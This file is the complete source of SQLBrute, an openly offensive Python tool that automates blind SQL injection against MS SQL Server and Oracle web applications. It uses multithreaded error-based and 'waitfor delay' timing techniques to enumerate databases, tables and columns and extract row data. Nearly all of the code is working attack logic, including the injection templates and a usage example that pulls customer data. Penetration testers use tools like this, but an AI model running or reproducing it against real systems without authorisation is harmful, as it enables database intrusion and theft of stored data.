#!/bin/sh
''':'
exec python -O -u "$0" ${1+"$@"}
' '''

# SQLBrute - multi threaded blind SQL injection bruteforcer
# By Justin Clarke, justin at justinclarke dot com
#
# Algorithm originally from the original by Kerry Rollins
#
# This version does regex based (error/no error) bruteforcing and waitfor delay testing
#
# There is a page documenting how to use this tool at:
# http://www.justinclarke.com/archives/2006/03/sqlbrute.html
Version = "032306"

# todo
# - tidy up the query assembly methods
# - implement < and > matching
# - rewrite connection methods to use pycurl and get more efficient connection handling
# - implement database detection
# - multiple columns?

import threading
import Queue
import sys
import getopt
import string
import urllib
import cgi
import time
import re

# Set some globals

# dictionary for tracking threads and pycurl handles
handles = {}
handleLock = threading.Lock()
sslSupport = True

# use pycurl if installed
try:
    import pycurl2               # currently disabled
    sendlayer = "pycurl"    
except ImportError:
    import urllib2
    sendlayer = "urllib2"

# see if SSL support is compiled in for urllib2
if sendlayer == "urllib2":
    try:
        import _ssl
    except ImportError:
        print "SSL support not installed - https will not be available"
        sslSupport = False

# consume some signals for pycurl
try:
    import signal
    from signal import SIGPIPE, SIG_IGN
    signal.signal(signal.SIGPIPE, signal.SIG_IGN)
except ImportError:
    pass

#
# class to manage the threading.  No actual stuff is done in here - we pass function names and args
#
# Adapted from Python in a Nutshell (excellent book)
#
class Worker(threading.Thread): # inherits the Thread class
    requestID = 0   # each thread has a request ID so we can match responses
    
    # constructor - takes two queues as parameters (overrides threading constructor)
    def __init__(self, requestsQueue, resultsQueue, threadNumber, **kwds):
        threading.Thread.__init__(self, **kwds)
        self.setDaemon(1)   # run in background
        self.workRequestQueue = requestsQueue
        self.resultQueue = resultsQueue
        self.setName(threadNumber)
        if sendlayer == "pycurl":
            handleLock.acquire()   # don't want to update the dictionary simultaneously from multiple threads
            handles[threadNumber] = pycurl.Curl()     # libcurl handle for this thread
            handleLock.release()
        self.start()        # start the thread

    # call the function here - pass in the function and parameters
    def performWork(self, callable, *args, **kwds):
        Worker.requestID += 1
        self.workRequestQueue.put((Worker.requestID, callable, args, kwds))
        return Worker.requestID

    def run(self):   # override run
        while 1:
            requestID, callable, args, kwds = self.workRequestQueue.get()
            self.resultQueue.put((requestID, callable(*args+(int(self.getName()),), **kwds)))

class sqlbrute:
    # User variables - change if you want
    num = 10            # default number of worker threads
    targeturl = ""
    cookie = ""
    verb = ""
    verbose = 0
    postdata = ""
    table = ""
    cols = ""
    headers = [["User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"]]
    wherecol = ""
    whereval = ""
    dbenum = False          # default to enumerating tables from current database
    enumtype = ""           # by default, tables will be enumerated from current database
    dbtype = "sqlserver"
    errorregex = ""
    targeturl = ""
    timetrack = time.time()
    timeout = 60             # timeout to wait for responses before exiting tool
    database = ""           # database to use (instead of default)
    andor = " OR "          # default to "or" mode.  either "or" or "and"
                            # specifies this is going to be select * from foo where 1=2 _and_ <exploit string>

    method = "error"        # method of testing - error or time based

    outputfile = ""
    
    if sys.platform == "win32":     # timing is unreliable in python.org win32 version. I'd use linux for now
        waitfor = 10
    else:
        waitfor = 7

    if sys.platform == "win32":
        waitres = 5         # time.time() is hideously unreliable in windows
    else:
        waitres = 5

    tablesource = "sysobjects"    # name of source to initially query
    namecol = "name"                # column used for the database name
    substrfn = "SUBSTRING"      # substring for SQL, substr for oracle

    reqcounter = 0            # number of test requests received
    testcounter = 0           # counter to track that requests have passed and failed appropriately
    testvar = 0
    
    requestsQueue = Queue.Queue()
    resultsQueue = Queue.Queue()

    # add any additional characters you need matched to this list
    matches = ["e","t","a","o","i","n","s","r","h","l","d","u","c","f","m","w","y","g","p","b","v","k","x","j","q","z","0","1","2","3","4","5","6","7","8","9","-",".","[_]","+","#","@","$"]

    def usage(self):
        print """
 ___  _____  __    ____  ____  __  __  ____  ____ 
/ __)(  _  )(  )  (  _ \(  _ \(  )(  )(_  _)( ___)
\__ \ )(_)(  )(__  ) _ < )   / )(__)(   )(   )__) 
(___/(___/\\\\(____)(____/(_)\_)(______) (__) (____)
"""
        print "v.%s" % Version
        print """
    Usage: %s options url
            [--help|-h]                        - this help
            [--verbose|-v]                     - verbose mode
            [--server|-d oracle|sqlserver]     - type of database server (default MS SQL Server)
            [--error|-e regex]                 - regex to recognize error page (error testing only)
            [--threads|-s number]              - number of threads (default 10)
            [--cookie|-k string]               - cookies needed
            [--time|-n]                        - force time delay (waitfor) testing 
            [--data|-p string]                 - POST data
            [--database|-f database]           - database to enumerate data from (SQL Server)
            [--table|-t table]                 - table to extract data from
            [--column|-c column]               - column to extract data from
            [--where|-w column=data]           - restrict data returned to rows where column "column" matches "data"
            [--header|-x header::val]          - header to add to the request (i.e. Referer::http://foobar/blah.asp)
            [--output|-o file]                 - file to send output to
            
Note: exploit will go on the end of the query or post data.  This must be correctly formatted for a SQL subquery to be appended.
        """ % sys.argv[0]

        print '''e.g. %s --data "searchtype=county&county=1'" --error "NO RESULTS" --database webapp --table customer --column custnum --where password=password http://webapp/page.asp''' % sys.argv[0]

    # buyer beware if you change anything below - execution starts here
    def main(self, argv=None):
        if argv is None:
            argv = sys.argv

        try:
            try:
                opts, args = getopt.getopt(argv[1:], "hvs:k:f:np:x:d:t:c:w:e:o:", \
["help","verbose","server=","header=","error=","threads=","cookie=","database=","time","data=","table=","column=","where=","output="])
                if len(args) <> 1:  # 1 arg is the URL
                    print "Args <> 1" 
                    raise getopt.error
            except:
                raise getopt.error

            self.targeturl = args
            if sslSupport == False and re.search(r'https://', self.targeturl):
                print "You don't seem to have SSL support installed, so no https URLs for you"
                return 1

            for o,a in opts:
                if o in ("-v", "--verbose"):
                    self.verbose += 1
                if o in ("-x", "--header"):
                    self.headers += [a.split("::",1)]
                if o in ("-k", "--cookie"):
                    self.cookie = a
                if o in ("-h", "--help"):
                    self.usage()
                    return 1
                if o in ("-p", "--data"):
                    self.postdata = a
                    self.verb = "POST"
                if o in ("-n", "--time"):
                    self.method = "time"
                if o in ("-s", "--threads"):
                    self.num = int(a)
                    if self.num < 1:
                        print "Threads must be at least 1"
                        return 1
                if o in ("-d", "--server"):
                    if a == "oracle": self.dbtype = a
                    if a == "sqlserver": self.dbtype = a
                if o in ("-t", "--table"):
                    self.table = a
                if o in ("-c","--column"):
                    self.cols = a
                if o in ("-w", "--where"):
                    temp = a.split("=",1)
                    self.wherecol = temp[0]
                    self.whereval = temp[1]
                if o in ("-e", "--error"):
                    self.errorregex = a
                    self.method = "error"
                if o in ("-f", "--database"):
                    self.database = a
                if o in ("-o", "--output"):
                    self.outputfile = a

            if self.cols<>"":
                if self.table=="":
                    print "If requesting column data, you must specify table"
                    return 1

            if not self.errorregex:
                self.errorregex = r"(error|could not process)"

            if not self.verb:
                self.verb = "GET"

            if (self.verb == "POST" and not self.postdata):
                print "Specify some POST data"
                return 1
            
            if self.enumtype=="":
                if self.table=="" and self.cols=="":
                    if self.dbtype == "sqlserver" and not self.database:
                        self.enumtype="database"
                    else:
                        self.enumtype="table"
                else:
                    if self.table<>"" and self.cols=="":
                        self.enumtype="column"
                    else:
                        self.enumtype="data"

            if self.dbtype=="oracle":
                self.substrfn = "SUBSTR"
                self.tablesource = "USER_TABLES"
                self.namecol = "TABLE_NAME"

            if self.verbose:
                print "Database type: %s" % self.dbtype
                print "Table: %s" % self.table
                print "Columns: ", self.cols
                print "Enumeration mode: %s" % self.enumtype
                print "Threads: %d" % self.num

            if self.database and self.dbtype=="oracle":
                print "Database specification is not valid for Oracle"
                return 1

            if self.database != "":         # add .. for between database and table
                self.database += ".."

        except:
            print "Incorrect options usage"
            self.usage()
            return 1

        # create worker classes to assign work to later
        for i in range(self.num):
            self.worker = Worker(self.requestsQueue, self.resultsQueue, i)

        # keep track of what we send off to the queues
        self.workRequests = {}
#        if sendlayer=="urllib2":
#          print """
#***pycurl not found***
#Defaulting to Python urllib2
#Consider installing pycurl from http://pycurl.sourceforge.net -- it's faster
#"""
            
        if self.verbose:
            print "Testing the application to ensure your options work\n"

        if self.method == "error":
            self.testvar = self.testexploiterror()
        else:
            self.testvar = self.testexploittime()

        if self.testvar==1:
            print """
    To troubleshoot:

    1) try using -v to see that the queries are correctly formatted
    2) try using -vv to get the responses printed to the screen
    3) fix your broken url/post data
    4) check the error value you are using
    5) you've specified the correct database type haven't you?"""
            return(1)
        
        print "This program will currently exit " + str(self.timeout) + " seconds after the last response comes in."

        for i in self.matches:
            if self.method == "error":
                self.gentesterror(i)
            else:
                self.gentesttime(i)

        self.showResults()

    def postReformat(self, postdata):
        return urllib.urlencode(cgi.parse_qsl(postdata))

    def querystringReformat(self, qsdata):
        temp = qsdata.split("?")
        if len(temp) == 2:
            return temp[0] + "?" + urllib.urlencode(cgi.parse_qsl(temp[1]))
        else:
            return qsdata
    
    def doRequest(self, expressionString, exploitdata, match, type, threadName):
        while True:
            if sendlayer == "pycurl":
                handleLock.acquire()   # don't want to update the dictionary simultaneously from multiple threads
                thisHandle = handles[threadName]     # libcurl handle for this thread
                handleLock.release()
                resp = open(str(threadName), "wb")
            
            if self.verb == "GET":
                if sendlayer == "urllib2":
                    req = urllib2.Request(self.querystringReformat(expressionString))
                else:
                    thisHandle.setopt(pycurl.URL, self.querystringReformat(expressionString))
            else:
                if sendlayer == "urllib2":
                    req = urllib2.Request(self.querystringReformat(expressionString),
                                          self.postReformat(exploitdata))
                else:
                    thisHandle.setopt(pycurl.URL, expressionString)
                    thisHandle.setopt(pycurl.POSTFIELDS, self.postReformat(exploitdata))
                    
            if self.cookie<>"":
                if sendlayer == "urllib2":
                    req.add_header("Cookie",self.cookie)
                else:
                    thisHandle.setopt(pycurl.HTTPHEADER, self.cookie)  # reformat cookie?
            if self.headers<>[[]]:
                for i in self.headers:
                    if sendlayer == "urllib2":
                        req.add_header(i[0],i[1])
                    else:
                        thisHandle.setopt(pycurl.HTTPHEADER, i)  # reformat headers?
            try:
                starttime = time.time()  # get time at start of request
                if sendlayer == "urllib2":                
                    resp = urllib2.urlopen(req)
                else:
                    thisHandle.setopt(pycurl.WRITEDATA, resp)
                    thisHandle.setopt(pycurl.NOSIGNAL, 1)
                    thisHandle.setopt(pycurl.CONNECTTIMEOUT, 30)
                    thisHandle.setopt(pycurl.TIMEOUT, 300)
                    thisHandle.perform()
                    
            except urllib2.HTTPError,err:  # catch an HTTP 500 error or similar here
                return err.read(), match, type, starttime, time.time()
            except:
                import traceback
                traceback.print_exc(file=sys.stderr)
                sys.stderr.flush()
                
                print "Unexpected error on: %s %s - Retrying in 5 seconds" % (expressionString,exploitdata)
                time.sleep(5)
            else:
                if sendlayer == "urllib2":
                    return resp.read(), match, type, starttime, time.time()
                else:
                    #temp = resp.read()
                    #resp.close()
                    return resp.read(), match, type, starttime, time.time()

    def testexploiterror(self):
        if self.dbtype=="sqlserver":
            positivestring = self.andor + "exists (select * from master..sysdatabases)--"
            negativestring = self.andor + "not exists (select * from master..sysdatabases)--"

        if self.dbtype=="oracle":
            positivestring = self.andor + "exists (select * from USER_TABLES)--"
            negativestring = self.andor + "not exists (select * from USER_TABLES)--"

        self.genreq(positivestring, "", False)
        self.genreq(negativestring, "", False)

        while self.reqcounter != 2:
            try:
                id, results = self.resultsQueue.get_nowait()
            except Queue.Empty:
                if (time.time() - self.timetrack) > self.timeout:    # if its been > (timeout) seconds since last successful resp
                    print "Timed out accessing application\n"
                    return(1)
                else:
                    continue

            self.timetrack = time.time()        # update record of last successful response
            self.reqcounter += 1                # update number of requests received
            
            if self.verbose>1:
                print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
                print 'Response: %s' % results[0]
                print 'Results: %s, %s' % (results[1], results[2])

            if not re.search(self.errorregex,results[0]) :       # no error returned
                self.testcounter += 1              # increment counter 1 if no error returned
                if self.verbose>1:
                    print "No Error"
            else:       # error returned
                self.testcounter += 2              # increment counter 2 is error returned
                if self.verbose>1:
                    print "Error"

        if self.testcounter == 3:                  # one failed, one passed request (success!)
            if self.verbose:
                print "Exploit and parameters appear to work\n"
                return(0)
        else:                       # failed :-(
            if self.andor == " OR ":       # if we were using or, try changing to AND
                if self.verbose:
                    print "OR doesn't appear to work - trying AND"
                self.andor = " AND "
                self.reqcounter = 0
                self.testcounter = 0
                return (self.testexploiterror())
            else:
                print "User input exploit and parameters do not appear to work for error testing - trying time testing\n"
                return(self.testexploittime())        

    def testexploittime(self):
        teststring = "%3Bwaitfor delay '0:0:" + str(self.waitfor) + "'--"

        self.genreq(teststring, "", False)

        waiting = True
        
        while waiting:
            try:
                id, results = self.resultsQueue.get_nowait()
            except Queue.Empty:
                continue

            waiting = False
            if self.verbose>1:
                print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
                print 'Response: %s' % results[0]
                print 'Start time: %s' % results[3]
                print 'Finish time: %s' % results[4]
       
            if results[4]-results[3] > (self.waitfor-self.waitres):       # time testing worked
                self.method = "time"
                elapsed = results[4] - results[3]
                if elapsed > (self.waitfor * 2):  # slow app
                    self.timeout *= (elapsed/self.waitfor)
                if self.verbose:
                    print "Exploit and parameters appear to work for time testing\n"
                return(0)
            else:                       # failed :-(
                print "User input exploit and parameters do not appear to work for time testing\n"
                return(1)
            
    # generate checks - these get multithreaded on the queue
    def genreq(self, request, match, type):
        if self.verb == "GET":  # standard GET request- exploit querystring
            expressionString = self.targeturl[0] + request
            exploitdata=""
        elif (self.verb == "GET" and self.postdata): # post request, but exploit querystring
            expressionString = self.targeturl[0] + request
            exploitdata = self.postdata
        else:
            expressionString = self.targeturl[0] # standard post request, exploit post data
            exploitdata = self.postdata + request

        id = self.worker.performWork(self.doRequest, expressionString, exploitdata, match, type)
        if self.verb == "GET":
            self.workRequests[id] = expressionString
        else:
            self.workRequests[id] = exploitdata

    # handle underscores
    def unquote(self, s):
        return re.sub(r'\[\_\]','_',s)

    # generate the testing string as a series of CHAR()+CHAR or CONCAT(CHR(),CHR()) strings
    def genchars(self, s):
        t = self.unquote(s)
        foo = len(t)

        if self.dbtype=="oracle":          # use concat statements for oracle
            if foo==1:       # one character - no concat
                bar = "CHR("+str(ord(t[0].upper()))+")"
            else:          # generate one concat statement
                if foo==2:
                    bar = "CONCAT(CHR("+str(ord(t[0].upper()))+"),CHR("+str(ord(t[1].upper()))+"))"
                else:       # generate mutiple statements
                    bar = ""
                    for i in range((foo-1)):
                        bar += "CONCAT(CHR("+str(ord(t[i].upper()))+"),"
                    bar += "CHR("+str(ord(t[foo-1].upper()))+")"
                    for i in range(foo-1):
                        bar += ")"
        else:           # sql server, so use + signs for concatentation
            if foo==1:       # one char
                bar = "CHAR("+str(ord(t[0].upper()))+")"
            else:          # generate CHAR()+CHAR() statements
                bar = ""
                for i in range((foo-1)):
                    bar += "CHAR("+str(ord(t[i].upper()))+")%2B"
                bar += "CHAR("+str(ord(t[foo-1].upper()))+")"
        return bar

    # generate the guess cases - error
    def gentesterror(self, s):
        foo = ""
        if self.dbtype == "sqlserver":
            foo = "xtype='u' and "

       # SQL injection constructors - these assume we can just add these onto the end of the URL or post data

        if self.enumtype=="database":       # sql server only
            pretable = self.andor + "exists (select * from master..sysdatabases where " + self.substrfn + "(UPPER(" + self.namecol + "),1,"
            midtable = ")="
            posttable = ")--"

        if self.enumtype=="table":
            pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where " + foo + self.substrfn + "(UPPER(" + self.namecol + "),1,"
            midtable = ")="
            posttable = ")--"

        if self.enumtype=="column":
            if self.dbtype=="sqlserver":
                pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id('" + self.database + self.table + "') and " + self.substrfn + "(UPPER(" + self.namecol + "),1,"
                midtable = ")="
                posttable = ")--"
            else:
                pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER('" + self.table + "') and " + self.substrfn + "(UPPER(COLUMN_NAME),1,"
                midtable = ")="
                posttable = ")--"

        if self.enumtype=="data":
            if self.dbtype=="sqlserver":
                if self.wherecol == "":         # no where clause supplied
                    pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1,"
                else:       # where clause supplied
                    pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1,"
                midtable = ")="
                posttable = ")--"
            else:           # oracle
                if self.wherecol == "":         # no where clause supplied
                    pretable = self.andor + "exists (select * from " + self.table + " where " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
                else:       # where clause supplied
                    pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
                midtable = ")="
                posttable = ")--"

        teststring = self.genchars(s)

        self.genreq(pretable + str(len(self.unquote(s))) + midtable + teststring + posttable, s, True)

    # generate test cases - time
    def gentesttime(self, s):
        prewaitforlike = "%3Bif EXISTS (select name from master..sysdatabases where name like '"
        postwaitfor = "%') waitfor delay '0:0:" + str(self.waitfor) + "'--"

        predblike = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name like '"

        pretablike = "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name like '"

        if self.whereval=="":    # enumerating values in a specific column
            predatalike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) like '"
        else:       
            prejoinlike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar," + self.cols + ",2) like '"

        if self.enumtype=="database":
            self.genreq(prewaitforlike + s + postwaitfor, s, True)
        if self.enumtype=="table":
            self.genreq(predblike + s + postwaitfor, s, True)
        if self.enumtype=="column":
            self.genreq(pretablike + s + postwaitfor, s, True)
        if self.enumtype=="data":
            if self.whereval=="":
                self.genreq(predatalike + s + postwaitfor,s,True)
            else:
                self.genreq(prejoinlike + s + postwaitfor,s,True)

    def checkmatchtime(self, s):
        prewaitforequals = "%3Bif EXISTS (select name from master..sysdatabases where name = '"
        postwaitforequals = "') waitfor delay '0:0:" + str(self.waitfor) + "'--"

        predbequals = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name = '"

        pretabequals =  "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name = '"

        if self.whereval=="":    # enumerating values in a specific column
            predataequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) = '"
        else:
            prejoinequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar, " + self.cols + ",2) = '"

        if self.enumtype=="database":
            self.genreq(prewaitforequals + self.unquote(s) + postwaitforequals, s, False)
        if self.enumtype=="table":
            self.genreq(predbequals + self.unquote(s) + postwaitforequals, s, False)
        if self.enumtype=="column":
            self.genreq(pretabequals + self.unquote(s) + postwaitforequals, s, False)
        if self.enumtype=="data":
            if self.whereval=="":
                self.genreq(predataequals + self.unquote(s) + postwaitforequals, s, False)
            else:
                self.genreq(prejoinequals + self.unquote(s) + postwaitforequals, s, False)

    # generate check for whether we have an exact match (error testing)
    def checkmatcherror(self, s):
        foo = ""
        if self.dbtype == "sqlserver":
            foo = "xtype='u' and "

        # SQL injection constructors - these assume we can just add these onto the end of the URL or post data
        if self.enumtype=="database":       # only valid for sql server
            pretable = self.andor + "exists (select * from master..sysdatabases where UPPER(" + self.namecol + ")="
            posttable = ")--"

        if self.enumtype=="table":
            pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where UPPER(" + self.namecol +")="
            posttable = " )--"

        if self.enumtype=="column":
            if self.dbtype=="sqlserver":
                pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id(" + self.genchars(self.database + self.table) + ") and UPPER(" + self.namecol + ")="
                posttable = ")--"
            else:
                pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER(" + self.genchars(self.table) + ") and UPPER(COLUMN_NAME)="
                posttable = ")--"

        if self.enumtype=="data":
            if self.dbtype=="sqlserver":
                if self.wherecol == "":         # no where clause supplied
                    pretable = self.andor + "exists (select * from " + self.database + self.table + " where UPPER(convert(varchar," + self.cols + ",2))="
                else:       # where clause supplied
                    pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(convert(varchar," + self.cols + ",2))="
                posttable = ")--"
            else:   # oracle
                if self.wherecol == "":         # no where clause supplied
                    pretable = self.andor + "exists (select * from " + self.table + " where UPPER(TO_CHAR(" + self.cols + "))="
                else:       # where clause supplied
                    pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(TO_CHAR(" + self.cols + "))="
                midtable = ")="
                posttable = ")--"

        teststring = self.genchars(s)

        self.genreq(pretable + teststring + posttable, s, False)

    # used to check results and exact checks
    def showResults(self):
        self.timetrack = time.time()
        while True:
            try:
                id, results = self.resultsQueue.get_nowait()
            except Queue.Empty:
                if (time.time() - self.timetrack) > self.timeout:    # if its been > (timeout) seconds since last successful resp
                    break
                else:
                    continue

            self.timetrack = time.time()        # update record of last successful response

            if self.verbose>1:
                print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
                print 'Results: %s, %s' % (results[1], results[2])
                print 'Start time: %s' % results[3]
                print 'Finish time: %s' % results[4]

            if self.verbose>2:
                print 'Response: %s' % results[0]
                                
            if self.method == "error":    # if using error testing
                if not re.search(self.errorregex,results[0]) :       # no error returned
                    if self.verbose > 1:
                        print 'No error'
                    if results[2]:                       # if a guess match test
                        if self.verbose:
                            print "%s" % self.unquote(results[1])
                        self.checkmatcherror(results[1])
                    else:
                        print "Found: %s" % self.unquote(results[1])
                        for i in self.matches:
                            self.gentesterror(results[1]+i)
                        if self.outputfile != "":
                            outputhandle = file(self.outputfile, 'a', 0)
                            outputhandle.write(self.unquote(results[1])+"\r\n")
                            outputhandle.close()
                else:       # no match
                    if self.verbose > 1:
                        print 'Error detected'

                    if not results[2]:                   # if was an exact match test (and failed) generate more
                        for i in self.matches:
                            self.gentesterror(results[1]+i)
            else:   # if time based testing
                if results[4]-results[3] > (self.waitfor-self.waitres):       # we had a match
                    if results[2]:         # guess match test
                        if self.verbose:
                            print "%s" % self.unquote(results[1])
                        self.checkmatchtime(results[1])
                    else:    # exact match test
                        print "Found: %s" % self.unquote(results[1])
                        for i in self.matches:
                            self.gentesttime(results[1]+i)
                        if self.outputfile != "":
                            outputhandle = file(self.outputfile, 'a', 0)
                            outputhandle.write(self.unquote(results[1])+"\r\n")
                            outputhandle.close()
                else:       # no match
                    if not results[2]:  # if it was an exact match condition (and failed) - iterate further
                        for i in self.matches:
                            self.gentesttime(results[1]+i)


# main called here

if __name__ == "__main__":
    instance = sqlbrute()
    sys.exit(instance.main())